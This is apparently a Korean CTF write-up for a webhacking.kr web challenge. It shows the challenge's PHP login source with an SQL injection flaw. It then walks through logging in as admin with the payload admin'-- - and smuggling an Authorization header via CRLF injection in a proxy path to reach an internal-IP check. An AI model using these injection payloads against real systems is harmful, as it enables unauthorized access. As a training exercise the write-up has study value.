admin 페이지에서 로그인 취소하고 view source를 클릭하면 소스를 볼 수 있는데
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?>
sql injection이 가능하고, login페이지는 admin으로 로그인 했을때 내부 아이피이면 플래그를 출력하고 아니면 Only access from virtual IP address 를 띄운다.
일단 admin'-- - 를 이용하여 admin으로 로그인을 해보면
내부 아이피로 접속해야 한다.
프록시 페이지에서 요청을 보낼 수 있다. 근데 path 만 넣을 수 있는데 캐니지 리턴을 이용해서 데이터를 조작할 수 있다.
/ HTTP/1.1\nA:
를 하게 되면
GET / HTTP/1.1
A: HTTP/1.1
Host: webhacking.kr:10008
Connection: Close
가 될 것이다.
이걸 이용해
요청 헤더에 Authorization: Basic YWRtaW4nLS0gLTo= 를 넣고 admin 페이지로 접속시킬 것이다.
/admin/ HTTP/1.1%0d%0aCookie: PHPSESSID=47bcmmnalsgr0onf8vh1bg86ot%0d%0aAuthorization: Basic YWRtaW4nLS0gLTo=%0d%0aA:
플래그가 나온다.
728x90
'해킹 > writeup' 카테고리의 다른 글
los.rubiya.kr - bugbear (0) | 2021.08.29 |
---|---|
los.rubiya.kr - darkknight (0) | 2021.08.29 |
dreamhack.io - web-ssrf (0) | 2021.08.25 |
rubiya - golem (0) | 2021.08.18 |
rubiya - skeleton (0) | 2021.08.18 |